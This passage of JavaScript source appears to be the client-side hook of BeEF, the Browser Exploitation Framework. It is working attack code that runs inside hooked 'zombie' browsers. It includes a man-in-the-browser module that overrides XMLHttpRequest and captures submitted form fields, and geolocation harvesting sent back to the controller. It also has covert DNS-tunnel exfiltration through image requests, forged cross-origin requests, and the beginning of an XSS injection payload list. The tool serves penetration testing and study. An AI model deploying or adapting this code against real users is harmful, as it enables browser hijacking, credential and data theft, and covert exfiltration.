9238 c3 = utftext.charCodeAt(i+2);
9239 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
9240 i += 3;
9241 }
9242
9243 }
9244
9245 return string;
9246 }
9247
9248};
9249
9250beef.regCmp('beef.encode.base64');
9251
9252
9253//
9254// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9255// Browser Exploitation Framework (BeEF) - http://beefproject.com
9256// See the file 'doc/COPYING' for copying permission
9257//
9258
9259// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
9260
9261beef.encode.json = {
9262
9263 stringify: function(o) {
9264 if (typeof(JSON) == 'object' && JSON.stringify) {
9265 // Error on stringifying cylcic structures caused polling to die
9266 try {
9267 s = JSON.stringify(o);
9268 } catch(error) {
9269 // TODO log error / handle cyclic structures?
9270 }
9271 return s;
9272 }
9273 var type = typeof(o);
9274
9275 if (o === null)
9276 return "null";
9277
9278 if (type == "undefined")
9279 return '\"\"';
9280
9281 if (type == "number" || type == "boolean")
9282 return o + "";
9283
9284 if (type == "string")
9285 return $j.quoteString(o);
9286
9287 if (type == 'object')
9288 {
9289 if (typeof o.toJSON == "function")
9290 return $j.toJSON( o.toJSON() );
9291
9292 if (o.constructor === Date)
9293 {
9294 var month = o.getUTCMonth() + 1;
9295 if (month < 10) month = '0' + month;
9296
9297 var day = o.getUTCDate();
9298 if (day < 10) day = '0' + day;
9299
9300 var year = o.getUTCFullYear();
9301
9302 var hours = o.getUTCHours();
9303 if (hours < 10) hours = '0' + hours;
9304
9305 var minutes = o.getUTCMinutes();
9306 if (minutes < 10) minutes = '0' + minutes;
9307
9308 var seconds = o.getUTCSeconds();
9309 if (seconds < 10) seconds = '0' + seconds;
9310
9311 var milli = o.getUTCMilliseconds();
9312 if (milli < 100) milli = '0' + milli;
9313 if (milli < 10) milli = '0' + milli;
9314
9315 return '"' + year + '-' + month + '-' + day + 'T' +
9316 hours + ':' + minutes + ':' + seconds +
9317 '.' + milli + 'Z"';
9318 }
9319
9320 if (o.constructor === Array)
9321 {
9322 var ret = [];
9323 for (var i = 0; i < o.length; i++)
9324 ret.push( $j.toJSON(o[i]) || "null" );
9325
9326 return "[" + ret.join(",") + "]";
9327 }
9328
9329 var pairs = [];
9330 for (var k in o) {
9331 var name;
9332 var type = typeof k;
9333
9334 if (type == "number")
9335 name = '"' + k + '"';
9336 else if (type == "string")
9337 name = $j.quoteString(k);
9338 else
9339 continue; //skip non-string or number keys
9340
9341 if (typeof o[k] == "function")
9342 continue; //skip pairs where the value is a function.
9343
9344 var val = $j.toJSON(o[k]);
9345
9346 pairs.push(name + ":" + val);
9347 }
9348
9349 return "{" + pairs.join(", ") + "}";
9350 }
9351 },
9352
9353 quoteString: function(string) {
9354 if (string.match(this._escapeable))
9355 {
9356 return '"' + string.replace(this._escapeable, function (a)
9357 {
9358 var c = this._meta[a];
9359 if (typeof c === 'string') return c;
9360 c = a.charCodeAt();
9361 return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
9362 }) + '"';
9363 }
9364 return '"' + string + '"';
9365 },
9366
9367 _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
9368
9369 _meta : {
9370 '\b': '\\b',
9371 '\t': '\\t',
9372 '\n': '\\n',
9373 '\f': '\\f',
9374 '\r': '\\r',
9375 '"' : '\\"',
9376 '\\': '\\\\'
9377 }
9378};
9379
9380$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
9381$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
9382
9383beef.regCmp('beef.encode.json');
9384
9385
9386//
9387// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9388// Browser Exploitation Framework (BeEF) - http://beefproject.com
9389// See the file 'doc/COPYING' for copying permission
9390//
9391
9392/*!
9393 * @literal object: beef.net.local
9394 *
9395 * Provides networking functions for the local/internal network of the zombie.
9396 */
9397beef.net.local = {
9398
9399 sock: false,
9400 checkJava: false,
9401 hasJava: false,
9402
9403 /**
9404 * Initializes the java socket. We have to use this method because
9405 * some browsers do not have java installed or it is not accessible.
9406 * in which case creating a socket directly generates an error. So this code
9407 * is invalid:
9408 * sock: new java.net.Socket();
9409 */
9410
9411 initializeSocket: function() {
9412 if(this.checkJava){
9413 if(!beef.browser.hasJava()) {
9414 this.checkJava=True;
9415 this.hasJava=False;
9416 return -1;
9417 }else{
9418 this.checkJava=True;
9419 this.hasJava=True;
9420 return 1;
9421 }
9422 }
9423 else{
9424 if(!this.hasJava) return -1;
9425 else{
9426 try {
9427 this.sock = new java.net.Socket();
9428 } catch(e) {
9429 return -1;
9430 }
9431 return 1;
9432 }
9433 }
9434 },
9435
9436 /**
9437 * Returns the internal IP address of the zombie.
9438 * @return: {String} the internal ip of the zombie.
9439 * @error: return -1 if the internal ip cannot be retrieved.
9440 */
9441 getLocalAddress: function() {
9442 if(!this.hasJava) return false;
9443
9444 this.initializeSocket();
9445
9446 try {
9447 this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
9448 this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
9449
9450 return this.sock.getLocalAddress().getHostAddress();
9451 } catch(e) { return false; }
9452 },
9453
9454 /**
9455 * Returns the internal hostname of the zombie.
9456 * @return: {String} the internal hostname of the zombie.
9457 * @error: return -1 if the hostname cannot be retrieved.
9458 */
9459 getLocalHostname: function() {
9460 if(!this.hasJava) return false;
9461
9462 this.initializeSocket();
9463
9464 try {
9465 this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
9466 this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
9467
9468 return this.sock.getLocalAddress().getHostName();
9469 } catch(e) { return false; }
9470 }
9471
9472};
9473
9474beef.regCmp('beef.net.local');
9475
9476
9477//
9478// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9479// Browser Exploitation Framework (BeEF) - http://beefproject.com
9480// See the file 'doc/COPYING' for copying permission
9481//
9482
9483/**
9484 * @literal object: beef.init
9485 * Contains the beef_init() method which starts the BeEF client-side
9486 * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
9487 *
9488 * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
9489 * and will have a new session id. The new session id will need to know
9490 * the brwoser details. So sendback the browser details again.
9491 */
9492
9493beef.session.get_hook_session_id();
9494
9495if (beef.pageIsLoaded) {
9496 beef.net.browser_details();
9497}
9498
9499window.onload = function () {
9500 beef_init();
9501};
9502
9503window.onpopstate = function (event) {
9504 if (beef.onpopstate.length > 0) {
9505 event.preventDefault;
9506 for (var i = 0; i < beef.onpopstate.length; i++) {
9507 var callback = beef.onpopstate[i];
9508 try {
9509 callback(event);
9510 } catch (e) {
9511 beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
9512 }
9513 return false;
9514 }
9515 }
9516};
9517
9518window.onclose = function (event) {
9519 if (beef.onclose.length > 0) {
9520 event.preventDefault;
9521 for (var i = 0; i < beef.onclose.length; i++) {
9522 var callback = beef.onclose[i];
9523 try {
9524 callback(event);
9525 } catch (e) {
9526 beef.debug("window.onclose - couldn't execute callback: " + e.message);
9527 }
9528 return false;
9529 }
9530 }
9531};
9532
9533/**
9534 * Starts the polling mechanism, and initialize various components:
9535 * - browser details (see browser.js) are sent back to the "/init" handler
9536 * - the polling starts (checks for new commands, and execute them)
9537 * - the logger component is initialized (see logger.js)
9538 * - the Autorun Engine is initialized (see are.js)
9539 */
9540function beef_init() {
9541 if (!beef.pageIsLoaded) {
9542 beef.pageIsLoaded = true;
9543 beef.net.browser_details();
9544
9545 if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
9546 setTimeout(function(){
9547 beef.websocket.start();
9548 beef.updater.execute_commands();
9549 beef.logger.start();
9550 }, parseInt(beef.websocket.ws_connect_timeout));
9551 }else {
9552 beef.net.browser_details();
9553 beef.updater.execute_commands();
9554 beef.updater.check();
9555 beef.logger.start();
9556 }
9557 }
9558}
9559
9560
9561//
9562// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9563// Browser Exploitation Framework (BeEF) - http://beefproject.com
9564// See the file 'doc/COPYING' for copying permission
9565//
9566
9567
9568beef.mitb = {
9569
9570 cid:null,
9571 curl:null,
9572
9573 init:function (cid, curl) {
9574 beef.mitb.cid = cid;
9575 beef.mitb.curl = curl;
9576 /*Override open method to intercept ajax request*/
9577 var hook_file = "/hook.js";
9578
9579 if (window.XMLHttpRequest && !(window.ActiveXObject)) {
9580
9581 beef.mitb.sniff("Method XMLHttpRequest.open override");
9582 (function (open) {
9583 XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
9584 // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
9585 // or a request initiated by the MiTB itself.
9586 if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
9587 open.call(this, method, url, async, true);
9588 }else {
9589 var portRegex = new RegExp(":[0-9]+");
9590 var portR = portRegex.exec(url);
9591 var requestPort;
9592 if (portR != null) { requestPort = portR[0].split(":")[1]; }
9593
9594 //GET request
9595 if (method == "GET") {
9596 //GET request -> cross-origin
9597 if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
9598 beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
9599 window.open(url);
9600 }else { //GET request -> same-origin
9601 beef.mitb.sniff("GET [Ajax Request]: " + url);
9602 if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
9603 var title = "";
9604 if (document.getElementsByTagName("title").length == 0) {
9605 title = document.title;
9606 } else {
9607 title = document.getElementsByTagName("title")[0].innerHTML;
9608 }
9609 // write the url of the page
9610 history.pushState({ Be:"EF" }, title, url);
9611 }
9612 }
9613 }else{
9614 //POST request
9615 beef.mitb.sniff("POST ajax request to: " + url);
9616 open.call(this, method, url, async, true);
9617 }
9618 }
9619 };
9620 })(XMLHttpRequest.prototype.open);
9621 }
9622 },
9623
9624 // Initializes the hook on anchors and forms.
9625 hook:function () {
9626 beef.onpopstate.push(function (event) {
9627 beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
9628 });
9629 beef.onclose.push(function (event) {
9630 beef.mitb.endSession();
9631 });
9632
9633 var anchors = document.getElementsByTagName("a");
9634 var forms = document.getElementsByTagName("form");
9635 var lis = document.getElementsByTagName("li");
9636
9637 for (var i = 0; i < anchors.length; i++) {
9638 anchors[i].onclick = beef.mitb.poisonAnchor;
9639 }
9640 for (var i = 0; i < forms.length; i++) {
9641 beef.mitb.poisonForm(forms[i]);
9642 }
9643
9644 for (var i = 0; i < lis.length; i++) {
9645 if (lis[i].hasAttribute("onclick")) {
9646 lis[i].removeAttribute("onclick");
9647 /*clear*/
9648 lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
9649 /*override*/
9650
9651 }
9652 }
9653 },
9654
9655 // Hooks anchors and prevents them from linking away
9656 poisonAnchor:function (e) {
9657 try {
9658 e.preventDefault;
9659 if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
9660 var title = "";
9661 if (document.getElementsByTagName("title").length == 0) {
9662 title = document.title;
9663 } else {
9664 title = document.getElementsByTagName("title")[0].innerHTML;
9665 }
9666 history.pushState({ Be:"EF" }, title, e.currentTarget);
9667 }
9668 } catch (e) {
9669 beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
9670 }
9671 return false;
9672 },
9673
9674 // Hooks forms and prevents them from linking away
9675 poisonForm:function (form) {
9676 form.onsubmit = function (e) {
9677
9678 // Collect <input> tags.
9679 var inputs = form.getElementsByTagName("input");
9680 var query = "";
9681 for (var i = 0; i < inputs.length; i++) {
9682 switch (inputs[i].type) {
9683 case "submit":
9684 break;
9685 default:
9686 query += inputs[i].name + "=" + inputs[i].value + '&';
9687 break;
9688 }
9689 }
9690
9691 // Collect selected options from the form.
9692 var selects = form.getElementsByTagName("select");
9693 for (var i = 0; i < selects.length; i++) {
9694 var select = selects[i];
9695 query += select.name + "=" + select.options[select.selectedIndex].value + '&';
9696 }
9697
9698 // We should be gathering 'submit' inputs as well, as there are
9699 // applications demanding this parameter.
9700 var submit = $j('*[type="submit"]', form);
9701 if(submit.length) {
9702 // Append name of the submit button/input.
9703 query += submit.attr('name') + '=' + submit.attr('value');
9704 }
9705
9706 if(query.slice(-1) == '&') {
9707 query = query.slice(0, -1);
9708 }
9709
9710 e.preventdefault;
9711 beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
9712 history.pushState({ Be:"EF" }, "", form.action);
9713 return false;
9714 }
9715 },
9716
9717 // Fetches a hooked form with AJAX
9718 fetchForm:function (url, query, target) {
9719 try {
9720 var y = new XMLHttpRequest();
9721 y.open('POST', url, false, true);
9722 y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
9723 y.onreadystatechange = function () {
9724 if (y.readyState == 4 && y.responseText != "") {
9725 target.innerHTML = y.responseText;
9726 setTimeout(beef.mitb.hook, 10);
9727 }
9728 };
9729 y.send(query);
9730 beef.mitb.sniff("POST: " + url + "[" + query + "]");
9731 return true;
9732 } catch (x) {
9733 return false;
9734 }
9735 },
9736
9737 // Fetches a hooked link with AJAX
9738 fetch:function (url, target) {
9739 try {
9740 var y = new XMLHttpRequest();
9741 y.open('GET', url, false, true);
9742 y.onreadystatechange = function () {
9743 if (y.readyState == 4 && y.responseText != "") {
9744 target.innerHTML = y.responseText;
9745 setTimeout(beef.mitb.hook, 10);
9746 }
9747 };
9748 y.send(null);
9749 beef.mitb.sniff("GET: " + url);
9750 return true;
9751 } catch (x) {
9752 window.open(url);
9753 beef.mitb.sniff("GET [New Window]: " + url);
9754 return false;
9755 }
9756 },
9757
9758 // Fetches a window.location=http://domainname.com and setting up history
9759 fetchOnclick:function (url) {
9760 try {
9761 var target = document.getElementsByTagName("html")[0];
9762 var y = new XMLHttpRequest();
9763 y.open('GET', url, false, true);
9764 y.onreadystatechange = function () {
9765 if (y.readyState == 4 && y.responseText != "") {
9766 var title = "";
9767 if (document.getElementsByTagName("title").length == 0) {
9768 title = document.title;
9769 }
9770 else {
9771 title = document.getElementsByTagName("title")[0].innerHTML;
9772 }
9773 history.pushState({ Be:"EF" }, title, url);
9774 target.innerHTML = y.responseText;
9775 setTimeout(beef.mitb.hook, 10);
9776 }
9777 };
9778 y.send(null);
9779 beef.mitb.sniff("GET: " + url);
9780
9781 } catch (x) {
9782 // the link is cross-origin, so load the resource in a different tab
9783 window.open(url);
9784 beef.mitb.sniff("GET [New Window]: " + url);
9785 }
9786 },
9787
9788 // Relays an entry to the framework
9789 sniff:function (result) {
9790 try {
9791 beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
9792 } catch (x) {
9793 }
9794 return true;
9795 },
9796
9797 // Signals the Framework that the user has lost the hook
9798 endSession:function () {
9799 beef.mitb.sniff("Window closed.");
9800 }
9801};
9802
9803beef.regCmp('beef.mitb');
9804
9805
9806//
9807// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9808// Browser Exploitation Framework (BeEF) - http://beefproject.com
9809// See the file 'doc/COPYING' for copying permission
9810//
9811
9812/*!
9813 * @literal object: beef.geolocation
9814 *
9815 * Provides functionalities to use the geolocation API.
9816 */
9817beef.geolocation = {
9818
9819 /**
9820 * check if browser supports the geolocation API
9821 */
9822 isGeolocationEnabled: function(){
9823 return !!navigator.geolocation;
9824 },
9825
9826 /*
9827 * given latitude/longitude retrieves exact street position of the zombie
9828 */
9829 getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
9830
9831 // fixes damned issues with jquery 1.5, like this one:
9832 // http://bugs.jquery.com/ticket/8084
9833 $j.ajaxSetup({
9834 jsonp: null,
9835 jsonpCallback: null
9836 });
9837
9838 $j.ajax({
9839 error: function(xhr, status, error){
9840 beef.debug("[geolocation.js] openstreetmap error");
9841 beef.net.send(command_url, command_id, "latitude=" + latitude
9842 + "&longitude=" + longitude
9843 + "&osm=UNAVAILABLE"
9844 + "&geoLocEnabled=True");
9845 },
9846 success: function(data, status, xhr){
9847 beef.debug("[geolocation.js] openstreetmap success");
9848 var jsonResp = $j.parseJSON(data);
9849
9850 beef.net.send(command_url, command_id, "latitude=" + latitude
9851 + "&longitude=" + longitude
9852// + "&osm=" + encodeURI(jsonResp.display_name)
9853 + "&osm=tofix"
9854 + "&geoLocEnabled=True");
9855 },
9856 type: "get",
9857 url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
9858 latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
9859 });
9860
9861 },
9862
9863 /*
9864 * retrieve latitude/longitude using the geolocation API
9865 */
9866 getGeolocation: function (command_url, command_id){
9867
9868 if (!navigator.geolocation) {
9869 beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
9870 return;
9871 }
9872 beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
9873 navigator.geolocation.getCurrentPosition( //note: this is an async call
9874 function(position){ // success
9875 var latitude = position.coords.latitude;
9876 var longitude = position.coords.longitude;
9877 beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
9878 beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
9879
9880 }, function(error){ // failure
9881 beef.debug("[geolocation.js] error [%d] getting position", error.code);
9882 switch(error.code) // Returns 0-3
9883 {
9884 case 0:
9885 beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
9886 return;
9887 case 1:
9888 beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
9889 return;
9890 case 2:
9891 beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
9892 return;
9893 case 3:
9894 beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
9895 return;
9896 }
9897 beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
9898 },
9899 {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
9900 );
9901 }
9902}
9903
9904
9905beef.regCmp('beef.geolocation');
9906
9907
9908//
9909// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9910// Browser Exploitation Framework (BeEF) - http://beefproject.com
9911// See the file 'doc/COPYING' for copying permission
9912//
9913
9914/*!
9915 * @literal object: beef.net.dns
9916 *
9917 * request object structure:
9918 * + msgId: {Integer} Unique message ID for the request.
9919 * + domain: {String} Remote domain to retrieve the data.
9920 * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
9921 * + callback: {Function} Callback function to receive the number of requests sent.
9922 */
9923
9924beef.net.dns = {
9925
9926 handler: "dns",
9927
9928 send: function(msgId, data, domain, callback) {
9929
9930 var encode_data = function(str) {
9931 var result="";
9932 for(i=0;i<str.length;++i) {
9933 result+=str.charCodeAt(i).toString(16).toUpperCase();
9934 }
9935 return result;
9936 };
9937
9938 var encodedData = encodeURI(encode_data(data));
9939
9940 beef.debug(encodedData);
9941 beef.debug("_encodedData_ length: " + encodedData.length);
9942
9943 // limitations to DNS according to RFC 1035:
9944 // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
9945 // o Domain names are limited to 255 characters in length (including dots)
9946 // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
9947 // o Subdomains are limited to 63 characters in length (including the trailing dot)
9948
9949 // DNS request structure:
9950 // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
9951 //max_length: 3. 3 . 3 . 63 . x
9952
9953 // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
9954 // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
9955 var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
9956 var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
9957 var max_data_segment_length = 63; // by RFC
9958
9959 beef.debug("max_data_segment_length: " + max_data_segment_length);
9960
9961 var dom = document.createElement('b');
9962
9963 String.prototype.chunk = function(n) {
9964 if (typeof n=='undefined') n=100;
9965 return this.match(RegExp('.{1,'+n+'}','g'));
9966 };
9967
9968 var sendQuery = function(query) {
9969 var img = new Image;
9970 //img.src = "http://"+query;
9971 img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
9972 img.onload = function() { dom.removeChild(this); }
9973 img.onerror = function() { dom.removeChild(this); }
9974 dom.appendChild(img);
9975
9976 //experimental
9977 //setTimeout(function(){dom.removeChild(img)},1000);
9978 };
9979
9980 var segments = encodedData.chunk(max_data_segment_length);
9981
9982 var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
9983
9984 beef.debug(segments.length);
9985
9986 for (var seq=1; seq<=segments.length; seq++) {
9987 sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
9988 }
9989
9990 // callback - returns the number of queries sent
9991 if (!!callback) callback(segments.length);
9992
9993 }
9994
9995};
9996
9997beef.regCmp('beef.net.dns');
9998
9999
10000
10001//
10002// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
10003// Browser Exploitation Framework (BeEF) - http://beefproject.com
10004// See the file 'doc/COPYING' for copying permission
10005//
10006
10007// beef.net.connection - wraps Mozilla's Network Information API
10008// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
10009// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
10010beef.net.connection = {
10011
10012 /* Returns the connection type
10013 * @example: beef.net.connection.type()
10014 * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
10015 * @return: {String} connection type or 'unknown'.
10016 **/
10017 type: function () {
10018 try {
10019 var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
10020 var type = connection.type;
10021 if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
10022 } catch(e) {
10023 beef.debug("Error retrieving connection type: " + e.message);
10024 return 'unknown';
10025 }
10026 },
10027
10028 /* Returns the maximum downlink speed of the connection
10029 * @example: beef.net.connection.downlinkMax()
10030 * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
10031 * @return: {String} downlink max or 'unknown'.
10032 **/
10033 downlinkMax: function () {
10034 try {
10035 var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
10036 var max = connection.downlinkMax;
10037 if (max) return max; else return 'unknown';
10038 } catch(e) {
10039 beef.debug("Error retrieving connection downlink max: " + e.message);
10040 return 'unknown';
10041 }
10042 }
10043
10044};
10045
10046beef.regCmp('beef.net.connection');
10047
10048
10049
10050beef.net.cors = {
10051
10052 handler: "cors",
10053
10054 /**
10055 * Response Object - used in the beef.net.request callback
10056 */
10057 response:function () {
10058 this.status = null; // 500, 404, 200, 302, etc
10059 this.headers = null; // full response headers
10060 this.body = null; // full response body
10061 },
10062
10063 /**
10064 * Make a cross-origin request using CORS
10065 *
10066 * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
10067 * @param url {String} url
10068 * @param data {String} request body
10069 * @param timeout {Integer} request timeout in milliseconds
10070 * @param callback {Function} function to callback on completion
10071 */
10072 request: function(method, url, data, timeout, callback) {
10073
10074 var xhr;
10075 var response = new this.response;
10076
10077 if (XMLHttpRequest) {
10078 xhr = new XMLHttpRequest();
10079
10080 if ('withCredentials' in xhr) {
10081 xhr.open(method, url, true);
10082 xhr.timeout = parseInt(timeout, 10);
10083 xhr.onerror = function() {
10084 };
10085 xhr.onreadystatechange = function() {
10086 if (xhr.readyState === 4) {
10087 response.headers = this.getAllResponseHeaders()
10088 response.body = this.responseText;
10089 response.status = this.status;
10090 if (!!callback) {
10091 if (!!response) {
10092 callback(response);
10093 } else {
10094 callback('ERROR: No Response. CORS requests may be denied for this resource.')
10095 }
10096 }
10097 }
10098 };
10099 xhr.send(data);
10100 }
10101 } else if (typeof XDomainRequest != "undefined") {
10102 xhr = new XDomainRequest();
10103 xhr.open(method, url);
10104 xhr.onerror = function() {
10105 };
10106 xhr.onload = function() {
10107 response.headers = this.getAllResponseHeaders()
10108 response.body = this.responseText;
10109 response.status = this.status;
10110 if (!!callback) {
10111 if (!!response) {
10112 callback(response);
10113 } else {
10114 callback('ERROR: No Response. CORS requests may be denied for this resource.')
10115 }
10116 }
10117 };
10118 xhr.send(data);
10119 } else {
10120 if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
10121 }
10122
10123 }
10124
10125};
10126
10127beef.regCmp('beef.net.cors');
10128
10129
10130
10131//
10132// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
10133// Browser Exploitation Framework (BeEF) - http://beefproject.com
10134// See the file 'doc/COPYING' for copying permission
10135//
10136
10137/*!
10138 * @literal object: beef.net.requester
10139 *
10140 * request object structure:
10141 * + method: {String} HTTP method to use (GET or POST).
10142 * + host: {String} hostname
10143 * + query_string: {String} The query string is a part of the URL which is passed to the program.
10144 * + uri: {String} The URI syntax consists of a URI scheme name.
10145 * + headers: {Array} contain the operating parameters of the HTTP request.
10146 */
10147beef.net.requester = {
10148
10149 handler: "requester",
10150
10151 send: function(requests_array) {
10152 for(var i=0; i<requests_array.length; i++){
10153 request = requests_array[i];
10154 if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
10155 beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
10156 beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
10157 function(res, requestid) { beef.net.send('/requester', requestid, {
10158 response_data: res.response_body,
10159 response_status_code: res.status_code,
10160 response_status_text: res.status_text,
10161 response_port_status: res.port_status,
10162 response_headers: res.headers});
10163 }
10164 );
10165 }
10166 }
10167};
10168
10169beef.regCmp('beef.net.requester');
10170
10171
10172/*
10173 * XSS Rays
10174 * Legal bit:
10175 * Do not remove this notice.
10176 * Copyright (c) 2009 by Gareth Heyes
10177 * Programmed for Microsoft
10178 * gareth --at-- businessinfo -dot- co |dot| uk
10179 * Version 0.5.5
10180 *
10181 * This license governs use of the accompanying software. If you use the software, you
10182 * accept this license. If you do not accept the license, do not use the software.
10183 * 1. Definitions
10184 * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
10185 * same meaning here as under U.S. copyright law.
10186 * A "contribution" is the original software, or any additions or changes to the software.
10187 * A "contributor" is any person that distributes its contribution under this license.
10188 * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
10189 * 2. Grant of Rights
10190 * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
10191 * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
10192 * 3. Conditions and Limitations
10193 * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
10194 * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
10195 * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
10196 * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
10197 * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
10198 */
10199
10200/*
10201 * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
10202 * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
10203 * if the vulnerability is triggered the JS code vector will contact back BeEF.
10204 * Other aspects of the original code have been simplified and improved.
10205 */
10206beef.net.xssrays = {
10207 handler: "xssrays",
10208 completed:0,
10209 totalConnections:0,
10210
10211 // BeEF variables
10212 xssraysScanId : 0,
10213 hookedBrowserSession: "",
10214 beefRayUrl: "",
10215 // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
10216 crossDomain: false,
10217 debug:false,
10218 cleanUpTimeout:5000,
10219
10220 //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
10221 vectors: [
10222
10223 {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
10224 {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
10225 {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
10226 {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
10227 {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
10228 {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
